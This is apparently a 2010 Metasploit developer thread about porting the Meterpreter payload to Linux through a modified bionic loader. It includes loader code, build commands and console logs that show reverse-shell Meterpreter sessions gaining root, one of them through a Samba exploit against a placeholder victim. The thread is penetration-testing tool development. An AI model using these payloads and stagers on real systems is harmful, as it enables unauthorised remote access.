Metasploit Framework

philip, Whatever you want to do here is great ok by us. We would all definitely like to see this come to fruition after all this time.

Just a quick status update:

Due to problems with the existing rtld and linking against new headers (and failing to fix them up properly), I've modified the bionic loader as a replacement (implementing dlopenbuf, etc). The bionic loader needs a bit of cleaning up.

I'm currently working on recompiling openssl to be linked against the bionic libc and libm, and once that's done, the ground work should be done for actual work on meterpeter.

so far so good:

from testlinker.c 

static struct libs libs[] = {
        { "libc.so.6", libc_so_gz, libc_so_gz_len, NULL },
        { "libm.so", libm_so_gz, libm_so_gz_len, NULL },
        { "libcrypto.so.0.9.8", libcrypto_so_gz, libcrypto_so_gz_len, NULL },
        { "libssl.so.0.9.8", libssl_so_gz, libssl_so_gz_len, NULL },
        { NULL, NULL, 0 }
};

void _start()
{

        char *msg;
        char *library;
        int rc;
        struct stat sb;
        void *x;
        int (*fp)();
        soinfo *si;

        struct libs *lib;

        for(lib = &libs; lib->name != NULL; lib++) {
                x = dlopenbuf(lib->name, lib->buf, lib->size);
                if(! x) {
                        TRACE("[ failed to load %s/%08x/%08x, bailing ]\n", lib->name, lib->buf, lib->size);
                        exit(1);
                }
                lib->handle = x;
        }

        si = (soinfo *)dlopen("./testapp.so", RTLD_NOW|RTLD_GLOBAL); // quick test to verify we haven't broken it

        TRACE("[ loaded testapp.so, looking for __libc_init_common() ]\n");
        fp = dlsym(libs[0].handle, "__libc_init_common");
        if(! fp) {
                TRACE("[ failed resolving __libc_init_common(), bailing ]\n");
                exit(1);
        }
        TRACE("[ Found __libc_init_common() @ %08x, calling ]\n", fp);
        fp();

        TRACE("[ performed __libc_init_common, now looking for main ]\n");
        fp = dlsym(si, "main");
        TRACE("[ main is at %08x, calling ... ]\n", fp);
        fp(0, NULL, NULL);
        TRACE("[ and main has returned. exiting ]\n", fp);
        exit(0);

# cat testapp.c
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <pthread.h>
#include <stdio.h>

void *thread_test(void *arg)
{
        printf("[%08x] %s is a test of %s\n", pthread_self(), "this", "threads");
}

int main(int argc, char **argv, char **envp)
{
        pthread_t pid;
        int rc;

        printf("%s %s %s %s %s %s\n", "this", "is", "a", "test", "of", "printf");

        rc = pthread_create(&pid, NULL, thread_test, NULL);
        printf("pthread_create returned %d\n", rc);
        pthread_join(pid, NULL);
        printf("I've joined with that thread\n");
        return 0;
}

# ./msflinker
... lots of debug output ...
linker    0 SEARCH __libc_init_common in libc.so.6@0x00511000 0ab05d7e 134606836
linkerBucket hash: 146
linkersi->bucket is 0x00511140
linkertrying si->bucket[659] for symbol
linkertrying si->bucket[267] for symbol
linker    0 FOUND __libc_init_common in libc.so.6 (0002c1b0) 00000175
linker[ Found __libc_init_common() @ 0053d1b0, calling ]
linker[ performed __libc_init_common, now looking for main ]
linker    0 SEARCH  main in ./testapp.so@0x00049000 000737fe 134606836
linkerBucket hash: 1
linkersi->bucket is 0x00049120
linkertrying si->bucket[9] for symbol
linker    0 FOUND  main in ./testapp.so (00000387) 00000206
linker[ main is at 00049387, calling ... ]
this is a test of printf
pthread_create returned 0
[08ed6410] this is a test of threads
I've joined with that thread
linker[ and main has returned. exiting ]

ignore the following, they are for my records at the moment (in case they leave my history buffer).

./Configure threads no-zlib no-krb5 386 --prefix=/tmp/out linux-msf no-dlfcn shared
linux-msf = linux-elf sans -ldl

..

make CC="gcc -I/opt/msf3/external/source/meterpreter/source/server/posix/dynlink_v2/hack -I /opt/bionic/libc/include -I /opt/bionic/libc/kernel/common/linux/ -I /opt/bionic/libc/kernel/common/ -I /opt/bionic/libc/arch-x86/include/ -I /opt/bionic/libc/kernel/arch-x86/  -I/opt/bionic/libc/private -fPIC -DPIC -nostdinc -nostdlib -Dwchar_t='char' -fno-builtin -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -I/opt/bionic/libm/include  -L/opt/bionic/libc/out/x86/  -D_BYTE_ORDER=_LITTLE_ENDIAN -lc" depend  clean all 

So next steps are working out the metsrv build system, modifying/integrating it, writing a proper metsrv_rtld function. Once that's done, I'll send a suitable patch. Then meterpreter itself. I'm confident that openssl is linked in properly, as the linker performs all relocations before returning from dlopen/dlopenbuf.

It seems that we can't have the bionic libc out of the svn tree, because it will require various patches to make it truly suitable (/system/bin/sh -> /bin/sh, /system/etc/resolv.conf -> /etc/resolv.conf, in several #defines)

I don't see any major problem with patching bionic after a check out. In fact, we often fork things and maintain our own copy (only later re-syncing occasionally).

Since Bionic appears to be BSD licensed, doing this shouldn't be an issue.

Is ulibc used for anything else?

ulibc is not used for anything else.

I'm currently preparing a clean source tree and removing unused code (such as ulibc, server/elf), and putting new code in. Once I've done testing and wrote some documentation (compilation notes / order things need to be done in), I'll attach the required patches.

I've got everything to the stage where I can start work on meterpreter itself :-), so a good time to synchronize everything.

linker 0 FOUND server_setup in metsrv_main (00004bdd) 00000455
linker[ metsrv server_setup is at 00136bdd, calling ]
[SERVER] Initializing...
[SERVER] module loaded at 0x504B5320
[SERVER] main server thread: handle=0x00000000 id=0x000016CB sigterm=0x09A75028
[SERVER] Initializing tokens...
[SERVER] Flushing the socket handle...
[SERVER] Initializing SSL...
[SERVER] Negotiating SSL...
[SERVER] Sending a HTTP GET request to the remote side...
[SERVER] Completed writing the HTTP GET request: 27
[SERVER] Registering dispatch routines...
[SERVER] Entering the main server dispatch loop...
[DISPATCH] entering server_dispatch( 0x09A75038 )
[DISPATCH] created command_process_thread 0x09A91C18, handle=0x00000000
[COMMAND] Processing method core_channel_eof
[COMMAND] Calling completion handlers...

Active sessions ===============

Id  Type         Information  Connection
  --  ----         -----------  ----------
  5   meterpreter               127.0.0.1:4444 -> 127.0.0.1:46429

code is up at http://github.com/philip-k-sanderson/metasploit-posix-meterpreter (saves me from posting another 150k+ patch).

There is a fair lot of stuff missing, such as not nuking ulibc directory / other changes. Let me have a look at it, and I'll see what I can come up with.

Try something along the lines of:

git clone git://github.com/philip-k-sanderson/metasploit-posix-meterpreter.git jdrake_git
git svn clone -r 10155 https://www.metasploit.com/svn/framework3/trunk/ jdrake_svn

diff -urN -x .git jdrake_git jdrake_svn

it should resolve any $Id$ problems you were seeing.

ah. I thought there was stuff missing when I looked at http://www.metasploit.com/redmine/projects/framework/repository/revisions/10154, as it chops off all the rtld / Makefile stuff.

Seems to have merged properly when I updated my local git copy. (otherwise I would have expected merge problems)

Philip,

Feel free to create additional tickets for feature requests etc. I have some pty code if you want to integrate it here.

The whole team is looking forward to the point where this all works as a payload for an exploit

I am currently working on execute / shell support. I won't add pty code just yet (though the pty will be a major feature i think).

One that's done, I plan to test what needs to happen for payload to work, then work out staging shellcode/s.

I think the shell/bind_tcp & shell/reverse_tcp would be a good level 1 stager. second level stager does mmap / reading into huge buffer and whatever else is needed for the linker to run... (such as allocate a new stack, etc.) Once that's ready it will transfer control to it.

The level 1 stager will probably be required for where their is not enough room for level 2.

Some other changes:

Added PTY support to execute -f /bin/sh -i
Added a dlsocket() routine in case msflinker is started up without a socket.
Wrote payload stager assembly.

Currently figuring out the ruby side of things with stager / where to put files, etc.

< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *

       =[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 588 exploits - 297 auxiliary
+ -- --=[ 229 payloads - 27 encoders - 8 nops

msf > use test/exploitme
msf exploit(exploitme) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf exploit(exploitme) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(exploitme) > set RPORT 4545
RPORT => 4545
msf exploit(exploitme) > set PAYLOAD linux/x86/new_meterpreter/reverse_tcp
PAYLOAD => linux/x86/new_meterpreter/reverse_tcp
msf exploit(exploitme) > exploit

[*] Started reverse handler on 127.0.0.1:4444
[*] Sending 50 byte payload...[0]
[*] Transmitting intermediate stager for over-sized stage...(99 bytes)
[*] Sending stage (1200128 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:45357) at Tue Aug 31 16:06:38 +1000 2010

meterpreter > execute -f /bin/sh -i
Process  created.
Channel 1 created.
# whoami
root
# id -a
uid=0(root) gid=0(root) groups=0(root)

getting there

Philip, I'm working to sync things up here. I noticed there are no binaries, and unfortunately, my attempts to recreate the build process have lead to repetitive failure.

Would you be so kind as to submit the required binaries.

Also, do you think you have time to try to further automate/debug the build process? There appear to be some steps missing

I will go through the build process information in the documentation I wrote to see what's missing / could be improved. As for automating it completely, that should be possible.

What distribution are you building on? I'm using ubuntu 10.04.

I'll attach binaries shortly

I committed the binaries in r10223. I didn't commit the "msflinker" program since it's only used for testing.

Also, I tested inside using an exploit and found some strange results. If you don't have an insight on this it may be a bigger issue... See the following:

fear:0:~$ msfconsole -n -r research/cve-2010-2063/debian5/chain_reply.msfrc
[-] ***
[-] * WARNING: No database support: String User Disabled Database Support
[-] ***

 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *

       =[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 606 exploits - 299 auxiliary
+ -- --=[ 224 payloads - 27 encoders - 8 nops
       =[ svn r10212 updated today (2010.09.01)

resource (research/cve-2010-2063/debian5/chain_reply.msfrc)> set RHOST <victim>
RHOST => <victim>
resource (research/cve-2010-2063/debian5/chain_reply.msfrc)> set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
resource (research/cve-2010-2063/debian5/chain_reply.msfrc)> use exploit/linux/samba/chain_reply
resource (research/cve-2010-2063/debian5/chain_reply.msfrc)> exploit
[*] Started reverse handler on <attacker>:4444
[*] Trying return address 0x081ed5f2...
[*] Sending stage (36 bytes) to <victim>
[*] Command shell session 1 opened (<attacker>:4444 -> <victim>:57065) at 2010-09-02 11:35:00 -0500

id
uid=0(root) gid=0(root)
exit
[*] Command shell session 1 closed.
msf exploit(chain_reply) >
msf exploit(chain_reply) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(chain_reply) > rexploit

[*] Started reverse handler on <attacker>:4444
[*] Trying return address 0x081ed5f2...
[*] Transmitting intermediate stager for over-sized stage...(98 bytes)
[*] Trying return address 0x081ed5f2...
[*] Transmitting intermediate stager for over-sized stage...(98 bytes)
[*] Trying return address 0x081ed5f2...
[*] Transmitting intermediate stager for over-sized stage...(98 bytes)
[*] Sending stage (1212416 bytes) to <victim>
[*] Trying return address 0x081ed5f2...
[*] Transmitting intermediate stager for over-sized stage...(98 bytes)
[*] Sending stage (1212416 bytes) to <victim>
[*] Meterpreter session 2 opened (<attacker>:4444 -> <victim>:57066) at 2010-09-02 11:35:21 -0500
[-] Failed to load extension: No such file or directory - data/meterpreter/ext_server_priv.lso
[*] Meterpreter session 3 opened (<attacker>:4444 -> <victim>:57067) at 2010-09-02 11:35:22 -0500
[*] Sending stage (1212416 bytes) to <victim>
[-] Failed to load extension: No such file or directory - data/meterpreter/ext_server_priv.lso
[-] Exploit failed: deadlock; recursive locking
[*] Exploit completed, but no session was created.
[*] Sending stage (1212416 bytes) to <victim>
[*] Meterpreter session 4 opened (<attacker>:4444 -> <victim>:57068) at 2010-09-02 11:35:23 -0500
[-] Failed to load extension: No such file or directory - data/meterpreter/ext_server_priv.lso
[*] Meterpreter session 5 opened (<attacker>:4444 -> <victim>:57069) at 2010-09-02 11:35:25 -0500
[-] Failed to load extension: No such file or directory - data/meterpreter/ext_server_priv.lso
msf exploit(chain_reply) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
meterpreter >

Hmm, I'm not entirely sure what's happening there. I have a suspicion it might be something to do with the exploit continuing on and letting the handler take care of it.

As a side note, I'm porting the sniffer plugin over as well for kicks..

To make things easier I need to develop a .gdbrc for msflinker. it looks like "add-symbol-file" and looping over solist will do the trick.

Committed those 5 diffs...

I wouldn't worry about the multiple sessions, it appears to be related to staging and/or payload handlers.

The samba exploit has some reliability issues due to the seemingly non-deterministic handling of the talloc chunks. I worked around it by just trying over and over until we get a session, but it seems the session notification doesn't happen until later.